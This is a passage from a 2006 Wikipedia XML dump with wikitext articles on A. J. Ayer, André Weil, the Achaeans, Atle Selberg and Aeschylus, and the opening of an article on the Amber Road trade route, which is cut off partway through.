      <text xml:space="preserve">{{Infobox_Philosopher |
  &lt;!-- Scroll down to edit this page --&gt;
  &lt;!-- Philosopher Category --&gt;
  region          = Western Philosophers |
  era             = 20th-century philosophy |
  color           = #B0C4DE |

  &lt;!-- Image and Caption --&gt;
  image_name      = AlfredJulesAyer.jpg |
  image_caption   = |

  &lt;!-- Information --&gt;
  name            = [[Alfred Jules Ayer]] |
  birth           = [[October 29]], [[1910]] |
  death           = [[June 27]], [[1989]]  |
  school_tradition = [[Analytic philosophy|Analytic]] |
  main_interests   = [[Philosophy of language|Language]], [[Epistemology]], [[Ethics]], [[Meaning]] |
  influences       = [[Vienna Circle]], [[Karl Popper|Popper]], [[Bertrand Russell|Russell]], [[Ludwig Wittgenstein|Wittgenstein]], [[Immanuel Kant|Kant]] |
  influenced       =  [[R. M. Hare]]|
  notable_ideas     = [[Logical positivism]], [[verification principle]], [[emotivist ethics]] |
}}

:''&quot;Ayer&quot; redirects here.  For the town in [[Massachusetts]], see [[Ayer, Massachusetts]].''

'''Sir Alfred Jules Ayer''' ([[October 29]], [[1910]] &amp;ndash; [[June 27]], [[1989]]), better known as '''A. J. Ayer''' (or Freddie by his friends), was a British philosopher known for his promotion of [[logical positivism]], particularly in his books ''[[Language, Truth and Logic]]'' (1936) and  ''The Problem of Knowledge'' (1956).

Ayer was the Grote Professor of the Philosophy of Mind and Logic at the [[University College London]] from 1946 until 1959, when he became [[Wykeham Professor]] of Logic at the [[University of Oxford]]. He was knighted in 1970. 

==Life==
Ayer received an education in the humanities at [[Eton College]], and served in the British military during [[World War II]], working in military intelligence for a time.  He was a noted social mixer and womanizer, and was married four times, including to Dee Wells and Vanessa Lawson (nee Salmon).   Reputedly he liked dancing and attending the clubs in [[London]].

He was a friend of [[Isaiah Berlin]].

Ayer was an avowed atheist, and followed in the footsteps of [[Bertrand Russell]] by debating with the Jesuit scholar [[Frederick Copleston]] on the topic of religion.

Ayer was closely associated with the British [[secular humanism|humanist]] movement. He was an Honorary Associate of the [[Rationalist Press Association]] from 1947 until his death.  In 1965, he became the first president of the Agnostics' Adoption Society and in the same year succeeded [[Julian Huxley]] as president of the [[British Humanist Association]], a post he held until 1970. In 1968 he edited &quot;The Humanist Outlook&quot;, a collection of essays on the meaning of humanism. 

He taught or lectured several times in the [[United States]], including serving as a visiting professor at [[Bard College]] in the fall of 1987. At a party that same year held by fashion designer [[Fernando Sanchez]], Ayer, then 77, confronted [[Mike Tyson]] harassing [[Naomi Campbell]]. When Ayer demanded that Tyson stop, the boxer said: &quot;Do you know who the fuck I am? I'm the heavyweight champion of the world,&quot; to which Ayer replied: &quot;And I am the former Wykeham Professor of Logic. We are both pre-eminent in our field. I suggest that we talk about this like rational men&quot; (Rogers 1999:344).

Shortly before his death in 1989 he received publicity after having an unusual [[near-death experience]], which some erroneously interpreted as a move away from his lifelong and famous [[religious skepticism]].

==Works==
In some ways, Ayer was the philosophical successor to [[Bertrand Russell]], and he wrote two books on the philosopher: ''Russell and Moore: The Analytic Heritage'' (1971) and ''Russell'' (1972).  He also wrote an introductory book on the philosophy of [[David Hume]].

Ayer is perhaps best known for his [[verification principle]], as presented in &quot;[[Language, Truth, and Logic]]&quot; (1936), according to which a sentence is meaningful only if it has verifiable empirical import.  He started work on the book at the age of 24 and it was published when he was 26.   Ayer's philosophical ideas were deeply influenced by those of the [[Vienna Circle]].  His clear, vibrant and polemical exposition of them makes [[Language, Truth and Logic]] essential reading on the tenets of [[logical positivism]] -- the book is regarded as a classic of 20th century philosophy, and is widely read in philosophy courses around the world.  

In 1972-73 Ayer gave the [[Gifford Lectures]] at [[St. Andrews University]], later published as ''The Central Questions of Philosophy''.  He still believed in the viewpoint he shared with the logical positivists: that large parts of what was traditionally called &quot;philosophy&quot; - including the whole of [[metaphysics]], [[theology]] and [[aesthetics]] - were not matters that could be judged as being true or false and that it was thus meaningless to discuss them.  Unsurprisingly, this made him unpopular with several other philosophy departments in this country and his name is still reviled by many British professors to this day.

In &quot;The Concept of a Person and Other Essays&quot; (1963), Ayer made several striking criticisms of [[Wittgenstein]]'s private language theory.

Ayer's sense-data theory in ''Foundations of Empirical Knowledge'' was famously criticised by fellow Oxonian [[J. L. Austin]] in ''[[Sense and sensibilia]]'', a landmark 1950's work of common language philosophy.  Ayer responded to this in the essay &quot;Has Austin refuted the sense-date theory?&quot;, which can be found in his ''Metaphysics and Common Sense'' (1969).

==See also== 
*[[a priori]] knowledge

==References==
*Rogers, B. ''A.J. Ayer: A Life'', Grove Press, 1999, ISBN 0802116736 [http://www.nytimes.com/books/first/r/rogers-ayer.html]

==Further reading==
*[[Ted Honderich]], [http://www.ucl.ac.uk/~uctytho/AyerbyTH.html Ayer's Philosophy and its Greatness].
*[[Anthony Quinton]], [http://www.proc.britac.ac.uk/cgi-bin/somsid.cgi?page=94p255&amp;session=090265A&amp;type=header Alfred Jules Ayer]. ''Proceedings of the British Academy'', '''94''' (1996), pp. 255-282.
*Graham Macdonald, [http://plato.stanford.edu/entries/ayer/ Alfred Jules Ayer], ''[[Stanford Encyclopedia of Philosophy]]'', May 7, 2005.

==Publications==
* 1936, [[Language, Truth, and Logic]], London: Gollancz. (2nd. Edition, 1946.)
* 1940, The Foundations of Empirical Knowledge, London: Macmillan.
* 1954, Philosophical Essays, London: Macmillan. (Essays on freedom, phenomenalism, basic propositions, utilitarianism, other minds, the past, ontology.)
* 1957, “The conception of probability as a logical relation”, in S. Korner, ed., Observation and Interpretation in the Philosophy of Physics, New York, N.Y.: Dover Publications.
* 1956, The Problem of Knowledge, London: Macmillan.
* 1963, The Concept of a Person and other Essays, London: Macmillan. (Essays on truth, privacy and private languages, laws of nature, the concept of a person, probability.)
* 1967, “Has Austin Refuted the Sense-Data Theory?” Synthese vol. Xviii, pp. 117-40. (Reprinted in Ayer 1969).
* 1968, The Origins of Pragmatism, London: Macmillan.
* 1969, Metaphysics and Common Sense, London: Macmillan. (Essays on knowledge, man as a subject for science, chance, philosophy and politics, existentialism, metaphysics, and a reply to Austin on sense-data theory.)
* 1971, Russell and Moore: The Analytical Heritage, London: Macmillan.
* 1972a, Probability and Evidence, London: Macmillan.
* 1972b, Bertrand Russell, London: Fontana.
* 1973, The Central Questions of Philosophy, London: Weidenfeld.
* 1979, “Replies”, in G. Macdonald, ed., Perception and Identity, London: Macmillan.
* 1980, Hume, Oxford: Oxford University Press
* 1982, Philosophy in the Twentieth Century, London: Weidenfeld.
* 1984, Freedom and Morality and Other Essays, Oxford: Clarendon Press.
* 1986, Ludwig Wittgenstein, London: Penguin.
* 1977, Part of My Life, London: Collins.
* 1984, More of My Life, London: Collins.

[[Category:1910 births|Ayer, Alfred]]
[[Category:1989 deaths|Ayer, Alfred]]
[[Category:20th century philosophers|Ayer, Alfred]]
[[Category:Analytic philosophers|Ayer, Alfred]]
[[Category:Atheist philosophers|Ayer, Alfred]]
[[Category:British philosophers|Ayer, Alfred]]
[[Category:UCL academics|Ayer, Alfred]]
[[Category:Vienna Circle|Ayer, Alfred]]

[[de:Alfred Jules Ayer]]
[[es:Alfred Ayer]]
[[is:Alfred Jules Ayer]]
[[he:אלפרד ג'ולס אייר]]
[[nl:Alfred Ayer]]
[[no:Alfred Jules Ayer]]
[[pl:Alfred Jules Ayer]]
[[pt:A. J. Ayer]]
[[sk:Alfred Jules Ayer]]
[[uk:Айер Алфьред Дулж]]</text>
    </revision>
  </page>
  <page>
    <title>André Weil</title>
    <id>2019</id>
    <revision>
      <id>41801223</id>
      <timestamp>2006-03-01T21:10:46Z</timestamp>
      <contributor>
        <username>Avraham</username>
        <id>353669</id>
      </contributor>
      <minor />
      <comment>[[Category:Jewish mathematicians|</comment>
      <text xml:space="preserve">'''André Weil''' ([[May 6]], [[1906]] - [[August 6]], [[1998]]) was one of the great [[mathematician]]s of the [[20th century]], whether measured by his research work, its influence on future work, exposition or breadth. He is known for his foundational work in [[number theory]] and [[algebraic geometry]]. He was a founding member, and ''de facto'' the early leader, of the influential [[Bourbaki group]]. The [[philosopher]] [[Simone Weil]] was his sister.

==Life==

Born in [[Paris]] to Alsatian parents who fled the annexation of [[Alsace-Lorraine]] to [[Germany]], he studied in Paris, [[Rome]] and [[Göttingen]] and received his [[Doctor of Philosophy|doctorate]] in [[1928]]. He spent two academic years at [[Aligarh Muslim University]] from 1930. [[Sanskrit literature]] was a life-long interest of his. He had a one-year position in [[Marseilles]], and then spent six years in [[Strasbourg]]. He married Eveline in 1937.

A [[conscientious objector]] by conviction, and a [[Jew]], Weil was in [[Finland]] when [[World War II]] broke out; he had been travelling in Scandinavia since April 1939. Eveline returned to France, but he did not. A famous anecdote  was confirmed in his [[autobiography]]: after having been arrested under suspicion of [[espionage]] in Finland, when the USSR attacked on [[30 November]] [[1939]], he was saved from being shot only by the intervention of [[Rolf Nevanlinna]]. He returned to France via Sweden and the United Kingdom, and was detained at [[Le Havre]] in January 1940. He was charged with failure to report for duty, and was imprisoned in Le Havre and then [[Rouen]]. It was there in the military prison in Bonne-Nouvelle, a district of Rouen, from February to May, that he did the work that made his reputation. He was sent to trial on [[May 3]] [[1940]]. Sentenced to five years, he asked to be sent to a military unit instead, and joined a regiment in [[Cherbourg]]. After the [[fall of France]], he met up with his family in Marseilles, where he arrived by sea. He then went to [[Clermont-Ferrand]], where he managed to join Eveline, who had been in the German-occupied region. In January 1941 they left by sea from Marseilles, and sailed to New York.

During the war, Weil went to the United States where he was supported by the [[Rockefeller Foundation]] and [[Guggenheim Foundation]]. He was at the [[Universidade de São Paulo]] for two years from 1945, where he spent much time with [[Oscar Zariski]]. He taught at the [[University of Chicago]] from 1947 to 1958 before settling at the [[Institute for Advanced Study]] in [[Princeton Township, New Jersey|Princeton]].

==Work==

He made substantial contributions in many areas, the most important being profound connections between [[algebraic geometry]] and [[number theory]]. This began in his doctoral work leading to the [[Mordell-Weil theorem]] (1928, and shortly applied in [[Siegel's theorem on integral points]]). [[Mordell's theorem]] had an ''ad hoc'' proof; Weil began the separation of the [[infinite descent]] argument into two types of structural approach, by means of [[height function]]s for sizing rational points, and by means of [[Galois cohomology]], not to be named as that for two more decades. Both aspects have steadily developed into substantial theories. 

Among his major accomplishments were the 1940 proof, while in prison, of the [[Riemann hypothesis]] for [[local zeta-function]]s, and his subsequent laying of proper foundations for algebraic geometry to support that result (from 1942 to 1946, most intensively). By modern standards his claim to have a proof had a very easy ride, but wartime conditions were one factor, and the fact that the German experts made little or no comment another. The so-called [[Weil conjecture]]s were hugely influential from around 1950; they were later proved by [[Bernard Dwork]], [[Alexander Grothendieck]], [[Michael Artin]], and [[Pierre Deligne]], who completed the most difficult step in 1973. 

He had introduced the [[adele ring]] in the late 1930s, following [[Claude Chevalley]]'s lead with the [[idele]]s, and given a proof of the [[Riemann-Roch theorem]] with them (a version appeared in his ''Basic Number Theory'' in 1967). His 'matrix divisor' ([[vector bundle]] ''avant le jour'') Riemann-Roch theorem from 1938 was a very early anticipation of later ideas such as moduli spaces of bundles. The [[Weil conjecture on Tamagawa numbers]] proved resistant for many years. Eventually the adelic approach became basic in [[automorphic representation]] theory. He picked up another credited ''Weil conjecture'', around 1970, which later under pressure from [[Serge Lang]] became known as the [[Shimura-Taniyama conjecture]] based on the presentation of the basic ideas at the 1955 Nikko conference. His attitude towards conjectures struck many in the field as oblique; he wrote that one should not dignify a guess as a conjecture lightly, and in the Shimura-Taniyama case the evidence was only there after extensive computational work.

Other significant results were on [[Pontryagin duality]] and [[differential geometry]]. He introduced the concept of [[uniform space]] in [[general topology]]. His work on [[sheaf theory]] hardly appears in his published papers, but correspondence with [[Henri Cartan]] in the late 1940s proved most influential.

His discovery that the so-called [[Weil representation]], previously introduced in [[quantum mechanics]] by [[Irving Segal]] and Shale, gave a proper framework for understanding the classical theory of [[quadratic form]]s, and was also a beginning of a substantial development connecting [[representation theory]] and [[theta-function]]s.  

His books, unusually for mathematics, had an important influence on research. (In one major case possibly negative: [[Alexander Grothendieck]] is supposed to have complained of the 'aridity' of Weil's ''Foundations of Algebraic Geometry''. This is a good joke, if unintentional.) Through Bourbaki's writings and seminars, Weil's ideas can also be traced in the mainstream of post-war mathematics.

More trivially, he invented the notation &quot;Ø&quot; for the [[empty set]] (''q.v.'').

:&lt;small&gt;André Weil is not be confused with [[Hermann Weyl]], who helped Weil receive a [[Guggenheim fellowship]] in 1944; or with [[Andrew Wiles]], another famous mathematician who, like Weil, has done important work in [[elliptic curve]]s. Pronunciation: &quot;Weil&quot; is ''vay'', while &quot;[[Weyl]]&quot; is ''vile'', and &quot;Wiles&quot; is just ''wiles''. &lt;/small&gt;

==Books==

*''Arithmétique et géométrie sur les variétés algébriques'' (1935)
*''Sur les espaces à structure uniforme et sur la topologie générale'' (1937)
*''L'intégration dans les groupes topologiques et ses applications'' (1940)
*''Foundations of Algebraic Geometry'' (1946)
*''Sur les courbes algébriques et les variétés qui s’en déduisent'' (1948)
*''Variétés abéliennes et courbes algébriques'' (1948)
*''Introduction à l'étude des variétés kählériennes'' (1958)
*''Discontinuous subgroups of classical groups'' (1958) Chicago lecture notes
*''Basic Number Theory'' (1967)
*''Dirichlet Series and Automorphic Forms, Lezioni Fermiane'' (1971) Lecture Notes in Mathematics, vol. 189,
*''Essais historiques sur la théorie des nombres'' (1975)
*''Elliptic Functions According to Eisenstein and Kronecker'' (1976)
*''Œuvres Scientifiques, Collected Works, three volumes'' (1979)
*''Number Theory for Beginners'' (1979) with Maxwell Rosenlicht
*''Adeles and Algebraic Groups'' (1982)
*''Number Theory: An Approach Through History From Hammurapi to Legendre'' (1984)
*''Souvenirs d’Apprentissage'' (1991) as The Apprenticeship of a Mathematician (1992)

==See also== 

*[[Weil cohomology]]
*[[Weil conjecture]] disambiguation page
*[[Weil conjectures]]
*[[Weil conjecture on Tamagawa numbers]]
*[[Weil distribution]]
*[[Weil divisor]]
*[[Siegel-Weil formula]]
*[[Weil group]], [[Weil-Deligne group scheme]]
*[[Weil-Châtelet group]]
*[[Chern-Weil homomorphism]]
*[[Chern-Weil theory]]
*[[Hasse-Weil L-function]]
*[[Weil pairing]]
*[[Weil reciprocity law]]
*[[Weil representation]]
*[[Borel-Weil theorem]]
*[[De Rham-Weil theorem]]
*[[Mordell-Weil theorem]].

==External links==

* {{MacTutor Biography|id=Weil}}

==Bibliography==

* ''The Apprenticeship of a Mathematician'' (autobiography), ISBN 0817626506, English translation of ''Souvenirs d'apprentissage (Vita mathematica)'', ISBN 3764325003.

[[Category:1906 births|Weil, André]]
[[Category:1998 deaths|Weil, André]]
[[Category:20th century mathematicians|Weil, André]]
[[Category:French mathematicians|Weil, André]]
[[Category:Jewish mathematicians|Weil, André]]
[[Category:Number theorists|Weil, André]]
[[Category:Alumni of the École Normale Supérieure|Weil, André]]
[[Category:Bourbaki|Weil, André]]

[[de:André Weil]]
[[fr:André Weil]]
[[he:אנדרה וייל]]
[[it:André Weil]]
[[ja:アンドレ・ヴェイユ]]
[[ko:앙드레 베유]]
[[zh:安德烈·韦伊]]</text>
    </revision>
  </page>
  <page>
    <title>Achaeans</title>
    <id>2020</id>
    <revision>
      <id>41577330</id>
      <timestamp>2006-02-28T06:44:52Z</timestamp>
      <contributor>
        <username>Dbachmann</username>
        <id>86857</id>
      </contributor>
      <text xml:space="preserve">:''This article is about the ancient people of the Achaeans. See [[Achaea (MUD)]] for the [[MUD]] created by Iron Realms Entertainment.''

The '''Achaeans''' (also '''Akhaians''', [[Greek language|Greek]] Αχαιοί) is the collective name given to the  Greek forces in [[Homer]]'s [[Iliad]] (used 598 times). An alternative name, used interchangeably, is '''Danaans''' (Δαναοί, used 138 times) and  '''Argives''' (Αργίτες, used 29 times). ''Argives'' is a political annotation drawn from the original capital of the Achaeans, [[Argos]]. ''Danaans'' is the name attributed to the tribe first dominating the [[Peloponnese]] and the area near Argos. ''Achaeans'' is the name of the tribe that, reinforced by the [[Aeolians]], first dominated Greek territories, centering itself around its capital in [[Mycenae]].

More specifically, '''Achaea''' in Homer is the province of [[Agamemnon]], chief commander of the Greek forces, the northern part of the [[Peloponnese]] peninsula, roughly corresponding to the modern [[Prefectures of Greece|prefectures]] of [[Achaea]] and [[Corinth]]. The Homeric Achaeans would have been a part of the [[Mycenaean civilization]] that dominated Greece from ca. [[1600 BC]], with a history as a tribe that may have gone back to the prehistoric [[Hellenic]] immigration in the late [[3rd millennium BC]].

Some [[Hittite language|Hittite]] texts mention a nation in western [[Anatolia]] called '''''Ahhiyawa'''''; in particular the [[Hittites|Hittite]] king [[Mursili II]] in ca. [[1320 BC]] wrote a letter to the king of the ''Ahhiyawa'', treating him as an equal and suggesting that [[Miletus]] (''Millawanda'') was under his control, and also referring to an earlier &quot;''Wilusa'' episode&quot; involving hostility on the part of the ''Ahhiyawa''. This people has been identified with the Achaeans of the [[Trojan War]] and the city of Wilusa with the legendary city of [[Troy]] (note the similarity with ''Ilion'', the name of the [[acropolis]] of Troy). However the exact relationship of the term ''Ahhiyawa'' to the Achaeans beyond a similarity in pronunciation is hotly debated by scholars.

==See also==
*[[Achaea]], [[Achaea (province)]]
*[[Aegean civilization]]
*[[Mycenaean Greece]]
*[[Historicity of the Iliad]]
*[[Mycenaean language]]
*[[Homer]]
*[[Troy]]

[[Category:Greek mythology]]
[[Category:Ancient peoples]]

[[da:Achaier]]
[[fr:Achéens]]
[[nl:Ahhiyawa]]
[[it:Achei]]
[[zh:亚该亚人]]</text>
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  </page>
  <page>
    <title>Atle Selberg</title>
    <id>2021</id>
    <revision>
      <id>40514559</id>
      <timestamp>2006-02-21T03:22:35Z</timestamp>
      <contributor>
        <username>Chobot</username>
        <id>259798</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ko</comment>
      <text xml:space="preserve">'''Atle Selberg''' (born [[June 17]], [[1917]]) is a [[Norway|Norwegian]] [[mathematician]] known for his work in [[analytic number theory]], and in the theory of [[automorphic form]]s, in particular bringing them into relation with [[spectral theory]].  

Selberg was born in [[Langesund]], [[Norway]]. While he was still at school he was influenced by the work of [[Srinivasa Aaiyangar Ramanujan]]. He studied at the [[University of Oslo]] and completed his dr. philos. ([[Ph.D.]]) grade in [[1943]].

During the [[second world war]] he worked in isolation due to the German military occupation of [[Norway]].  After the war his accomplishments became known, including a proof that positive proportion of the zeros of the [[Riemann zeta function]] lie on the line 1/2.  After the war he turned to [[sieve theory]], a previously neglected topic which Selberg's work brought into prominence.  In a [[1947]] paper he introduced the [[Selberg sieve]], a method which led to [[Chen's theorem]] among other important results. Then in [[1948]] Selberg, working with [[Paul Erdős]], gave an elementary [[mathematical proof|proof]] of the [[prime number theorem]] (although there was a dispute between them about to whom this result should primarily be attributed).  For all these accomplishments Selberg received the [[1950]] [[Fields Medal]].

Selberg moved to the [[United States]] and settled at the [[Institute for Advanced Study]] in the [[1950s]] where he remains today.  During the 1950s he worked on introducing [[spectral theory]] into [[number theory]], culminating into his development of the [[Selberg trace formula]], his most famous result.  This establishes a duality between the length spectrum of a [[Riemann surface]] and the [[eigenvalue]]s of the [[Laplacian]] which is analogous to the duality between the [[prime number]]s and the zeros of the zeta function. He was awarded the [[1986]] [[Wolf Prize in Mathematics]].

==See also==

*[[Critical line theorem]]
*[[Chowla-Selberg formula]]

==External links==

* {{MacTutor Biography|id=Selberg}}

{{Fields medalists}}

[[Category:Norwegian mathematicians|Selberg, Atle]]
[[Category:Number theorists|Selberg, Atle]]
[[Category:1917 births|Selberg, Atle]]
[[Category:Living people|Selberg, Atle]]

[[de:Atle Selberg]]
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  </page>
  <page>
    <title>Aeschylus</title>
    <id>2023</id>
    <revision>
      <id>39880912</id>
      <timestamp>2006-02-16T14:52:56Z</timestamp>
      <contributor>
        <username>Cornischong</username>
        <id>64522</id>
      </contributor>
      <minor />
      <comment>+ lb</comment>
      <text xml:space="preserve">[[Image:Eschyle.jpg|right|thumb|220px|Aeschylus]]
{{dablink|This article is about the ancient Greek playwright. For other uses, see [[Aeschylus (disambiguation)]]}}

'''Aeschylus''' ([[525 BC]]&amp;mdash;[[456 BC]]; [[Greek language|Greek]]: '''Α{{polytonic|&amp;#x1f30;}}σχύλος''') was a [[playwright]] of [[ancient Greece]].
Aeschylus was the earliest of the three greatest [[Greek tragedy|Greek tragedians]], the others being [[Sophocles]] and [[Euripides]].  

==Biography==
Born in [[Eleusis]], a district of [[Athens]], he wrote his first plays in [[498 BC]], but his earliest surviving [[play]] is probably ''[[The Persians]]'', performed in [[472 BC]]. In [[490 BC]], he participated in the [[Battle of Marathon]], and in [[480 BC]] he fought at the [[Battle of Salamis]]. Salamis was the subject of ''[[The Persians]]'', written eight years later; it is now generally accepted that ''[[The Suppliants (Aeschylus)|The Suppliants]]'', once thought to be Aeschylus's earliest surviving tragedy, and so the earliest complete Attic tragedy to survive, was written in the last decade of his life, making ''The Persians'' his earliest.

Aeschylus frequently travelled to [[Sicily]], where the [[tyrant]] of [[Gela]] was a patron. In [[458 BC]] he travelled there for the last time; according to traditional legend, Aeschylus was killed in [[456 BC]] when an [[eagle]] (or more likely a [[Lammergeier]]), mistaking the playwright's bald crown for a stone, dropped a [[tortoise]] on his head (though some accounts differ, claiming it was a stone dropped by an [[eagle]] or [[vulture]] that likely mistook his bald head for the egg of a [[flightless bird]]).

The inscription on his gravestone was written by himself before his death, and makes no mention of his [[theater|theatrical]] renown. He chose to commemorate his military achievements only. It read: -“ This tomb the dust of Aeschylus doth hide, Euphorion's son and fruitful Gela's pride; How tried his valor Marathon may tell, And long-haired Medes, who knew it all too well.”


&quot;In Greek:
&quot;&amp;#913;&amp;#953;&amp;#963;&amp;#967;&amp;#973;&amp;#955;&amp;#959;&amp;#957; &amp;#917;&amp;#965;&amp;#966;&amp;#959;&amp;#961;&amp;#943;&amp;#969;&amp;#957;&amp;#959;&amp;#962; &amp;#913;&amp;#952;&amp;#951;&amp;#957;&amp;#945;&amp;#943;&amp;#959;&amp;#957; &amp;#964;&amp;#972;&amp;#948;&amp;#949; &amp;#954;&amp;#949;&amp;#973;&amp;#952;&amp;#949;&amp;#953; &amp;#956;&amp;#957;&amp;#942;&amp;#956;&amp;#945;, &amp;#960;&amp;#949;&amp;#960;&amp;#957;&amp;#965;&amp;#956;&amp;#941;&amp;#957;&amp;#959;&amp;#957; &amp;#960;&amp;#965;&amp;#961;&amp;#959;&amp;#966;&amp;#972;&amp;#961;&amp;#959;&amp;#953;&amp;#959; &amp;#915;&amp;#941;&amp;#955;&amp;#945;&amp;#962;. 
&amp;#913;&amp;#955;&amp;#954;&amp;#942;&amp;#957; &amp;#948;' &amp;#949;&amp;#965;&amp;#948;&amp;#972;&amp;#954;&amp;#953;&amp;#956;&amp;#959;&amp;#957; &amp;#956;&amp;#945;&amp;#961;&amp;#945;&amp;#952;&amp;#974;&amp;#957;&amp;#949;&amp;#953;&amp;#959;&amp;#957; &amp;#940;&amp;#955;&amp;#963;&amp;#959;&amp;#962; &amp;#945;&amp;#957; &amp;#949;&amp;#943;&amp;#960;&amp;#959;&amp;#953; &amp;#954;&amp;#945;&amp;#953; &amp;#946;&amp;#945;&amp;#952;&amp;#965;&amp;#967;&amp;#945;&amp;#953;&amp;#964;&amp;#942;&amp;#949;&amp;#953;&amp;#962; &amp;#924;&amp;#942;&amp;#948;&amp;#959;&amp;#962; &amp;#949;&amp;#960;&amp;#953;&amp;#963;&amp;#964;&amp;#940;&amp;#956;&amp;#949;&amp;#957;&amp;#959;&amp;#962;&quot;

==Works==
Aeschylus' work has a strong moral and religious emphasis, concentrating on man's position in the cosmos in relation to the gods, divine law and divine punishment in the [[Oresteia]] trilogy. Besides the literary merit of his work, Aeschylus' greatest contribution to the theater was the addition of a second actor to his scenes.  Previously, the action took place between a single actor and the [[Greek chorus]]. This invention was only attributed to him by later tradition, however.

Aeschylus is known to have written about 90 plays, only 7 of which remain extant:
*''[[The Persians]]'' ([[472 BC]]) (''Persai'')
*''[[Seven Against Thebes]]'' ([[467 BC]]) (''Hepta epi Thebas'')
*''[[The Suppliants (Aeschylus)|The Suppliants]]'' ([[463 BC]]?) (''Hiketides'')
*''[[Oresteia]]'' ([[458 BC]])
**''[[Agamemnon (play)|Agamemnon]]''
**''[[The Libation Bearers]]'' (''Choephori'')
**''[[The Eumenides]]'' 

In addition, the canon of Aeschylus' plays includes a seventh, ''[[Prometheus Bound]]''. Attributed to Aeschylus in [[classical antiquity|antiquity]], it is generally considered by modern scholars to be the work of an unknown [[4th century BC]] playwright, quite possibly Ion, Aeschylus' son. Its language is much simpler than that which Aeschylus usually utilises, without nearly as much complex metaphor and imagery, and is closer to Sophocles' style (though it is not at all suggested that Sophocles is its author); its hostility to the figure of [[Zeus]] is completely at odds with the religious views of the other six plays.  

In the early [[1990]]s fragments of another Aeschylean play, which had been mentioned in ancient sources, were discovered in the wrappings of a [[mummy]] in [[Egypt]]. The play, ''[[Achilles (play)|Achilles]]'', was part of a trilogy about the [[Trojan War]]. It had been lost for over 2,000 years.

==See also==
*[[Tragedy on screen]]

== External links ==
{{wikiquote}}
*[http://www.poetseers.org/the_great_poets/the_classics/aeschylus/ Selected Poems of Aeschylus]
*{{gutenberg author|id=Aeschylus|name=Aeschylus}}
*Available by .pdf file at Textkit:
**[http://www.textkit.com/learn/ID/42/author_id/5/ ''The Suppliants'']
**[http://www.textkit.com/learn/ID/40/author_id/5/ ''The Persians'']
**[http://www.textkit.com/learn/ID/30/author_id/5/ ''Seven Against Thebes'']
**[http://www.textkit.com/learn/ID/6/author_id/5/ ''Agamemnon'']
**[http://www.textkit.com/learn/ID/50/author_id/5/ ''The Libation Bearers'']
**[http://www.textkit.com/learn/ID/13/author_id/5/ ''The Eumenides'']
* [http://www.greek-literature-online.com/aeschylus/ Plays by Aeschylus] translated into English in an easy to read HTML format

===Fragments===
*[http://www.csad.ox.ac.uk/POxy/VExhibition/2161.htm Photo of a fragment of ''The Net-pullers'']

===''Prometheus Bound''===
*[http://www.textkit.com/learn/ID/28/author_id/5/ ''Prometheus Bound'']

[[Category:525 BC births|Aeschylus]]
[[Category:456 BC deaths|Aeschylus]]
[[Category:Ancient Greek dramatists and playwrights]]
[[Category:Ancient Athenians]]
[[Category:Ancient Greek poets]]

[[an:Esquilo]]
[[de:Aischylos]]
[[el:Αισχύλος]]
[[es:Esquilo]]
[[eo:Esĥilo]]
[[fr:Eschyle]]
[[ko:아이스퀼로스]]
[[it:Eschilo]]
[[he:אייסכילוס]]
[[lt:Aischilas]]
[[lv:Aishils]]
[[hu:Aiszkhülosz]]
[[lb:Aischylos]]
[[nl:Aischylos]]
[[no:Aiskhylos]]
[[ja:アイスキュロス]]
[[pl:Ajschylos]]
[[pt:Ésquilo]]
[[ru:Эсхил]]
[[sk:Aischylos]]
[[sr:Есхил]]
[[fi:Aiskhylos]]
[[sv:Aischylos]]
[[uk:Есхіл]]
[[zh:埃斯库罗斯]]</text>
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  </page>
  <page>
    <title>Amber Road</title>
    <id>2024</id>
    <revision>
      <id>40222568</id>
      <timestamp>2006-02-19T01:37:48Z</timestamp>
      <contributor>
        <username>Piotrus</username>
        <id>59002</id>
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      <comment>restore ToC, cat</comment>
      <text xml:space="preserve">The '''Amber Road''' (in [[Lithuanian language|Lithuanian]]: ''Gintaro kelias''; [[Polish language|Polish]]: ''Szlak Bursztynowy'', ''Jantarowy Szlak''; in [[German language|German]]: ''Bernsteinstraße''; in [[Hungarian language|Hungarian]]: ''Borostyán út'', in [[Russian (language)|Russian]]: ''Янтарный путь'') was an ancient [[trade route]] for the transfer of [[amber]]. As one of the waterways and ancient highways, for centuries the road led from [[Europe]] to [[Asia]] and back, and from northern Europe to the [[Mediterranean]]. 

A vital component of ornamental objects, [[amber]] was transported from the [[North Sea]] and [[Baltic Sea]] coasts overland by way of the [[Vistula]] and [[Dnieper river|Dnieper]] rivers to [[Italy]], [[Greece]], the [[Black Sea]], and [[Egypt]] long before the birth of [[Jesus]], and long after. 

In [[Roman Empire|Roman]] times, a main route ran south from the Baltic coast in [[Prussia]] through the land of the [[Boii]] (modern [[Bohemia]]) to the head of the [[Adriatic Sea]].  The Egyptian pharaoh [[Tutankhamun]] had Baltic amber among his burial goods, and amber was sent from the North Sea to the temple of [[Apollo]] at [[Delphi]] as an offering. From the [[Black Sea]], trade could continue to Asia along the [[Silk Road]], another ancient trade route.

The [[Prussian people|Prussian]] town of [[Truso]] on the Baltic, was one of the main trading places;  Truso was near the town of [[Elblag|Elbląg]], near lake [[Druzno]], in the [[Masurian]] lake district.

In [[Scandinavia]] the amber road probably gave rise to the thriving [[Nordic Bronze Age]] culture, bringing influences from the Mediterranean Sea to the northernmost countries of Europe.

==Overview of known amber roads by country==

===Poland===

The shortest (and possibly oldest) road avoids [[alpine]] areas and led from the Baltic coastline (Estland) heading southwards to [[Bratislava]] down to Aquileia at the [[Adriatic]] coast. Another route led towards the [[Black Sea]] in Russia.

===Germany===
[[Image:German Amber Roads.gif|thumb|right|250px|Amber Roads in Germany.]] 
Several roads connected the [[North Sea]] (Nordsee) and [[Baltic Sea|East Sea]] (Ostsee), especially the city of Ambur (now [[Hamburg]]) to the [[Brenner Pass]] (&quot;Burner&quot;-pass), proceeding southwards to [[Brindisi]] ''([[Brundisium]])'' in Italy and Ambracia (Greece). ''(See map at right)''

===Switzerland===
The Swiss region indicates a number of alpine roads, concentrating around the capital city [[Bern]] (''Bernstein'' is the German for amber) and probably originating from the borders of the [[Rhône River]] and the [[Rhine]].

===Holland===
A small section, including Baarn, Barneveld, Am(b)ersfoort and Am(b)erongen, and connected the North Sea with the Lower Rhine.

===Belgium===
A small section, led southwards from [[Antwerp]] and [[Bruges]] to the towns Braine-l’Alleud and Braine-le-Comte, both originally named &quot;Brennia-Brenna&quot; (Latin: “Burner”). The route have continued by following the [[Meuse River]].

===France===
Only a fragment at [[Ambares]] (near Bordeaux).

